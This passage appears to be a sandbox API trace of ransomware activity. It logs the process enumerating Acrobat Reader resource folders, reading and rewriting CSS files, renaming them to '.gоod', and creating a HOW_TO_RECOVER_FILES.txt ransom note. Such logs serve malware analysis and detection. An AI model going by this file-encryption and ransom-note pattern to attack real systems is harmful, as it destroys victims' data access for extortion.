ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.982] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0174.983] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1faf, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0174.983] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1faf, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0174.983] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0174.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0174.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0174.983] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css", lpFilePart=0x0) returned 0x80 [0174.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0174.983] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css"), fInfoLevelId=0x0, lpFileInformation=0x35729b8 | out: lpFileInformation=0x35729b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x322)) returned 1 [0175.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0175.323] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css", lpFilePart=0x0) returned 0x80 [0175.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0175.323] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0175.324] GetFileType (hFile=0x804) returned 0x1 [0175.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0175.324] GetFileType (hFile=0x804) returned 0x1 [0175.324] GetFileSize (in: hFile=0x804, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x322 [0175.324] ReadFile (in: hFile=0x804, lpBuffer=0x34fb1b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x34fb1b0*, lpNumberOfBytesRead=0x203ec6b8*=0x322, lpOverlapped=0x0) returned 1 [0175.325] CloseHandle (hObject=0x804) returned 1 [0175.363] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css", lpFilePart=0x0) returned 0x80 [0175.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0175.363] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0175.365] GetFileType (hFile=0x804) returned 0x1 [0175.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0175.365] GetFileType (hFile=0x804) returned 0x1 [0175.365] WriteFile (in: hFile=0x804, lpBuffer=0x3575af8*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3575af8*, lpNumberOfBytesWritten=0x203ec5c8*=0x330, lpOverlapped=0x0) returned 1 [0175.366] CloseHandle (hObject=0x804) returned 1 [0175.366] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css", lpFilePart=0x0) returned 0x80 [0175.366] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css.gоod", lpFilePart=0x0) returned 0x85 [0175.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0175.366] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x64bc5824, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x330)) returned 1 [0175.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0175.366] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css.gоod")) returned 1 [0175.367] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css", lpFilePart=0x0) returned 0x77 [0175.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0175.367] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x3576ef0 | out: lpFileInformation=0x3576ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1faf)) returned 1 [0175.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0176.566] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css", lpFilePart=0x0) returned 0x77 [0176.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0176.568] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0176.569] GetFileType (hFile=0x768) returned 0x1 [0176.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0176.569] GetFileType (hFile=0x768) returned 0x1 [0176.569] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1000 [0176.569] ReadFile (in: hFile=0x768, lpBuffer=0x3590498, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec758, lpOverlapped=0x0 | out: lpBuffer=0x3590498*, lpNumberOfBytesRead=0x203ec758*=0xfaf, lpOverlapped=0x0) returned 1 [0176.618] CloseHandle (hObject=0x768) returned 1 [0176.618] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css", lpFilePart=0x0) returned 0x77 [0176.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0176.618] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0176.618] GetFileType (hFile=0x768) returned 0x1 [0176.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0176.618] GetFileType (hFile=0x768) returned 0x1 [0176.618] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1faf [0176.619] WriteFile (in: hFile=0x768, lpBuffer=0x3613dc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ec678, lpOverlapped=0x0 | out: lpBuffer=0x3613dc0*, lpNumberOfBytesWritten=0x203ec678*=0x10, lpOverlapped=0x0) returned 1 [0176.619] CloseHandle (hObject=0x768) returned 1 [0176.619] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css", lpFilePart=0x0) returned 0x77 [0176.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0176.619] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0176.619] GetFileType (hFile=0x768) returned 0x1 [0176.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0176.619] GetFileType (hFile=0x768) returned 0x1 [0176.619] ReadFile (in: hFile=0x768, lpBuffer=0x36160d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec708, lpOverlapped=0x0 | out: lpBuffer=0x36160d8*, lpNumberOfBytesRead=0x203ec708*=0x1000, lpOverlapped=0x0) returned 1 [0177.031] CloseHandle (hObject=0x768) returned 1 [0177.031] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css", lpFilePart=0x0) returned 0x77 [0177.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0177.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0177.032] GetFileType (hFile=0x768) returned 0x1 [0177.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0177.032] GetFileType (hFile=0x768) returned 0x1 [0177.032] WriteFile (in: hFile=0x768, lpBuffer=0x3399d30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ec7b8, lpOverlapped=0x0 | out: lpBuffer=0x3399d30*, lpNumberOfBytesWritten=0x203ec7b8*=0x1010, lpOverlapped=0x0) returned 1 [0177.032] CloseHandle (hObject=0x768) returned 1 [0177.032] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css", lpFilePart=0x0) returned 0x77 [0177.032] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css.gоod", lpFilePart=0x0) returned 0x7c [0177.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0177.032] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x65bb7347, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1fbf)) returned 1 [0177.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0177.032] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\main.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\main.css.gоod")) returned 1 [0177.033] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ec3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x87 [0177.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec8f0) returned 1 [0177.033] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0177.036] GetFileType (hFile=0x768) returned 0x1 [0177.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec860) returned 1 [0177.036] GetFileType (hFile=0x768) returned 0x1 [0177.036] WriteFile (in: hFile=0x768, lpBuffer=0x350e398*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ec9b8, lpOverlapped=0x0 | out: lpBuffer=0x350e398*, lpNumberOfBytesWritten=0x203ec9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0177.037] CloseHandle (hObject=0x768) returned 1 [0177.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0177.038] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images", lpFilePart=0x0) returned 0x71 [0177.038] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0177.040] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.040] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_patterns_header.png", cAlternateFileName="BG_PAT~2.PNG")) returned 1 [0177.040] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_pattern_RHP.png", cAlternateFileName="BG_PAT~1.PNG")) returned 1 [0177.040] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons.png", cAlternateFileName="")) returned 1 [0177.040] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0177.040] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0177.041] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0177.041] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0177.041] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 